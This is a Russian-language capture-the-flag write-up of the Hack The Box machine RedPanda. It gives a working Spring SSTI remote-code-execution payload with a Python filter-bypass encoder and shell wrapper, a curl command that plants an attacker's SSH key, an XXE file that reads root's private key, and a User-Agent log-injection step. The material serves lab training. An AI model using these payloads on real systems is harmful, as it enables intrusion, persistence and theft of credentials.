Хакер - HTB RedPanda. Обходим фильтр при Spring SSTI
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- SSTI
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как обходить фильтр при эксплуатации SSTI с шаблонизатором Spring, написанном на Java. После получения доступа к хосту разберемся с исходниками проекта и проэкcплуатируем XXE, чтобы получить критически важные данные и захватить машину.
Упражняться будем на учебном стенде RedPanda с площадки Hack The Box. По сложности задача оценена как легкая.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.170 redpanda.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашли всего два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер, отмеченный как http-proxy.
Так как сканировать SSH в данном случае бессмысленно, переходим к веб‑серверу.

На странице отмечаем поле ввода — это потенциальная точка входа.
ТОЧКА ВХОДА
Пользовательский ввод также попадает на страницу с результатом поиска.

Тут мы можем попробовать несколько типов инъекций. Перебирать их будем с помощью Burp Intruder.

Но никакой возможности для инъекции операторов SQL я не нашел. Тогда перейдем к SSTI.
SSTI
Справка: Server-Side Template Injection
Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Первым делом нужно определить используемый шаблонизатор, для чего я перебираю разные варианты по словарю.

И мы видим выполнение выражения 7*7 при использовании шаблона *{}, характерного для Java-фреймворка Spring. Чтобы получить удаленное выполнение кода (RCE) через Spring SSTI, используем следующую нагрузку.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

ТОЧКА ОПОРЫ
У нас есть RCE, но при попытке выполнить некоторые действия, к примеру получить или записать SSH-ключ, мы получаем ошибку, что символы фильтруются.
curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys").getInputStream())}'

Сервер жалуется на неверные символы. Давай тогда закодируем вводимую команду, чтобы избежать их. Для составления нагрузки мы будем использовать вот такой генератор:
T(java.lang.Character).toString(<...>).concat(T(java.lang.Character).toString(<...>)).concat(...
Я написал на Python простой кодер команд:
import sys
data = sys.argv[1]
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(data[0])) + ")"
for i in data[1:]:
payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"
payload += ").getInputStream())}"
print("curl http://10.10.11.170:8080/search -d 'name=" + payload + "'")
Отдаем скрипту команду id и получаем команду curl с нагрузкой.

curl http://10.10.11.170:8080/search -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}'

И мы видим вывод команды и пользователя, от имени которого она выполняется. Давай попробуем создать каталог .ssh и записать в него ключ SSH. Однако при подключении у нас все равно запрашивают пароль.
mkdir /home/woodenk/.ssh
curl 10.10.14.23/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys
chmod 0600 /home/woodenk/.ssh/authorized_keys

Так получится работать только через RCE, поэтому пришлось превратить наш генератор в более‑менее удобный шелл.
import requests
while True:
inp = input("CMD > ")
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(" + str(ord(inp[0])) + ")"
for i in inp[1:]:
payload += ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"
payload += ").getInputStream())}"
data = {"name": payload}
r = requests.post("http://10.10.11.170:8080/search", data=data)
q_start = r.content.decode().index("You searched for:") + 18
q_end = r.content.decode().index("</h2>")
print(r.content.decode()[q_start:q_end])

ПРОДВИЖЕНИЕ
Немного погуляв по файловой системе, доходим до каталога /opt/, где есть несколько проектов.

Просматривая каталоги и исходные коды, все же добираемся и до кода panda_search.

В основном файле MainController.java находим код для подключения базы данных. В подобных функциях всегда указываются учетные данные для работы с БД.

Имя пользователя мы уже знаем, поэтому попробуем использовать найденный пароль и авторизоваться по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
С помощью автоматизированных средств сбора информации вроде скриптов LinPEASS ничего интересного найти не удалось. Поэтому отследим запускаемые процессы с помощью pspy64.

Сервер периодически запускает скрипт LogParser, к исходному коду которого мы имеем доступ. Каталог следующий:
/opt/credit-score/LogParser/final/src/main/java/com/logparser
Что интересно, после нескольких проверок происходит парсинг XML-файла, а это намек на уязвимость XXE. Вникнем в код немного глубже.

Первое условие — наличие файла XML, а он создается приложением panda_search. В исходном коде функции afterCompletion получаем формат данных внутри файла логов: responseCode||address||UserAgent||Uri.

Итак, файл и его содержимое мы уже можем контролировать. Вернемся к новому проекту и разберем его по функциям. После чтения файла функция isImage проверяет, есть ли в имени файла подстрока .jpg.

Затем функция parseLog разбирает лог на параметры status_code, ip, user_agent и uri.

Куда интереснее следующая функция getArtist, в которую передается путь. Эта функция получает параметр метаданных Artist из картинки, которая находится по переданному пути.

И наконец, рассмотрим функцию addViewTo. В нее передается путь к XML-файлу. Этот путь составляется из значения, которое вернет getArtist, а его мы можем контролировать. Сама функция парсит XML и переписывает его поля.

Таким образом мы можем манипулировать метапараметром Artist, чтобы указать на собственный XML-файл и выполнить атаку типа XXE. С ее помощью мы сможем получить содержимое любого файла. Первым делом создадим файл /home/woodenk/ralf_creds.xml со следующим содержимым:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY r SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>ralf</author>
<image>
<uri>/../../../../../../../home/woodenk/01.jpg</uri>
<hello>&r;</hello>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
Так мы попытаемся получить файл /root/.ssh/id_rsa в качестве параметра r.
А теперь вставим метапараметр в изображение и тоже загрузим его в домашний каталог пользователя.
exiftool -Artist="../home/woodenk/ralf" 01.jpg

Дело за малым: сделать так, чтобы файл логов содержал в качестве URL путь к файлу изображения. Так как используются разделители ||, мы можем выполнить инъекцию через User-Agent.
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/01.jpg"
Спустя некоторое время видим в домашнем каталоге уже заполненный файл ralf_creds.xml, который будет содержать SSH-ключ пользователя.

С полученным приватным ключом подключаемся к удаленному серверу.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei